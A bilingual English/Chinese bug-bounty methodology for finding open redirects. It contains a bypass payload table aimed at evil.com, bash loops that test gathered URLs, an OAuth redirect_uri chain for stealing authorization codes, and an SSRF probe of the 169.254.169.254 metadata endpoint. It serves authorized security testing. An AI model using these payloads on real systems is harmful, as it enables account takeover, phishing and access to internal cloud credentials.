hunt-open-redirect

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

HUNT-OPEN-REDIRECT — Open Redirect

HUNT-OPEN-REDIRECT — 开放重定向

Crown Jewel Targets

核心高价值目标

Open redirect alone is Low. Chained to OAuth = Critical (ATO).
Highest-value chains:
  • Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
  • Open redirect → phishing — users trust the URL because it starts with target.com
  • Open redirect → SSRF escalation — if redirect followed server-side → SSRF
  • Open redirect → session fixation — force user to login endpoint with pre-set session

单独利用开放重定向的严重性为 Low。与 OAuth 串联则为 Critical(ATO)。
价值最高的攻击链:
  • 开放重定向 → OAuth auth code 窃取 — 受信任域名的 redirect_uri 中包含开放重定向 → auth code 被发送给攻击者 → ATO
  • 开放重定向 → 钓鱼攻击 — 由于 URL 以 target.com 开头,用户会信任该 URL
  • 开放重定向 → SSRF 升级 — 如果服务端跟随该重定向 → SSRF
  • 开放重定向 → session fixation — 强制用户携带预设 session 访问登录端点

Attack Surface Signals

攻击面信号

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

Bypass Table

绕过手法表

TechniquePayload
Basic
https://evil.com
Protocol relative
//evil.com
Backslash bypass
/\\evil.com
At-sign confusion
https://target.com@evil.com
Double slash
//evil.com/%2F..
URL encoding
%2Fevil.com
Null byte
evil.com%00target.com
Whitespace
evil.com%09
or
%20
JavaScript URI
javascript:window.location='https://evil.com'
Data URI
data:text/html,<script>window.location='https://evil.com'</script>
Subdomain
https://target.com.evil.com
Fragment
https://evil.com#.target.com

技术载荷
基础
https://evil.com
协议相对 URL
//evil.com
反斜杠绕过
/\\evil.com
@ 符号混淆
https://target.com@evil.com
双斜杠
//evil.com/%2F..
URL 编码
%2Fevil.com
空字节
evil.com%00target.com
空白字符
evil.com%09
或
%20
JavaScript URI
javascript:window.location='https://evil.com'
Data URI
data:text/html,<script>window.location='https://evil.com'</script>
子域名
https://target.com.evil.com
片段标识
https://evil.com#.target.com

Step-by-Step Hunting Methodology

分步排查方法

Phase 1 — Discover Redirect Parameters

阶段 1 — 发现重定向参数

bash
undefined
bash
undefined

Extract all redirect candidates from crawl

Extract all redirect candidates from crawl

cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt wc -l recon/$TARGET/redirect-candidates.txt
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt wc -l recon/$TARGET/redirect-candidates.txt

Less common param names

Less common param names

grep -E "(?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)"
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
undefined
grep -E "(?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)"
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
undefined

Phase 2 — Basic Test

阶段 2 — 基础测试

bash
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
bash
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done

Phase 3 — Bypass Techniques

阶段 3 — 绕过技术

bash
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P → $LOC"
done
bash
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P → $LOC"
done

Phase 3b — DOM-based open redirect (client-side sink)

阶段 3b — 基于 DOM 的开放重定向(客户端 sink)

Server-side
Location:
grepping misses redirects that happen purely in JS. Source (
location.hash
/
location.search
/
document.referrer
) assigned to a navigation sink.
bash
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
服务端对
Location:
进行 grep 会遗漏完全由 JS 触发的重定向。源值(
location.hash
/
location.search
/
document.referrer
)会被赋给导航 sink。
bash
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"

Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)

Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)

Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;

Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;

(PortSwigger: DOM-based open redirection.)
(PortSwigger:基于 DOM 的开放重定向。)

Phase 4 — OAuth Chain Test

阶段 4 — OAuth 链式测试

bash
undefined
bash
undefined

If target has OAuth, check if redirect_uri accepts open redirect

If target has OAuth, check if redirect_uri accepts open redirect

grep -i "oauth|authorize|redirect_uri" recon/$TARGET/urls.txt | head -20
grep -i "oauth|authorize|redirect_uri" recon/$TARGET/urls.txt | head -20

Construct OAuth URL with open redirect as redirect_uri

Construct OAuth URL with open redirect as redirect_uri

Normal: redirect_uri=https://target.com/callback

Normal: redirect_uri=https://target.com/callback

OAUTH_URL="https://$TARGET/oauth/authorize" curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
undefined
OAUTH_URL="https://$TARGET/oauth/authorize" curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
undefined

Phase 5 — Server-Side Redirect (SSRF escalation)

阶段 5 — 服务端重定向(SSRF 升级)

bash
undefined
bash
undefined

If the app fetches the redirect target server-side (302 fetch follow)

If the app fetches the redirect target server-side (302 fetch follow)

Or: if app makes HTTP request to the redirect destination

Or: if app makes HTTP request to the redirect destination

curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"
-H "Cookie: $SESSION"

---
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"
-H "Cookie: $SESSION"

---

Automation

自动化

bash
undefined
bash
undefined

openredirex

openredirex

pip3 install openredirex openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
pip3 install openredirex openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com

nuclei

nuclei

nuclei -u https://$TARGET -t redirect/ -severity medium,high
nuclei -u https://$TARGET -t redirect/ -severity medium,high

gf + qsreplace

gf + qsreplace

cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" |
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}

---
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" |
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}

---

Chain Table

攻击链表

Open redirect findingChain toImpact
Any open redirectOAuth redirect_uri bypassAuth code theft → ATO
Any open redirectPhishing URL with target domainSocial engineering
Server-side redirectSSRF via followed redirectInternal service access
Logout redirectSession fixationForce login with known session

开放重定向发现串联目标影响
任何开放重定向OAuth redirect_uri 绕过auth code 窃取 → ATO
任何开放重定向使用目标域名的钓鱼 URL社会工程
服务端重定向通过跟随重定向利用 SSRF内部服务访问
注销重定向session fixation使用已知 session 强制登录

Validation

验证

✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page
Severity:
  • Redirect alone: Low (most programs)
  • Chains to OAuth code theft → ATO: High/Critical
  • Chains to phishing with brand name: Low-Medium
  • Server-side → SSRF: High
✅ 响应中的 Location 响应头指向 evil.com(由你控制的域名) ✅ 浏览器跟随重定向进入攻击者控制的页面
严重性:
  • 仅开放重定向:Low(大多数漏洞赏金计划)
  • 串联至 OAuth code 窃取 → ATO:High/Critical
  • 串联至使用品牌名称的钓鱼攻击:Low-Medium
  • 服务端重定向 → SSRF:High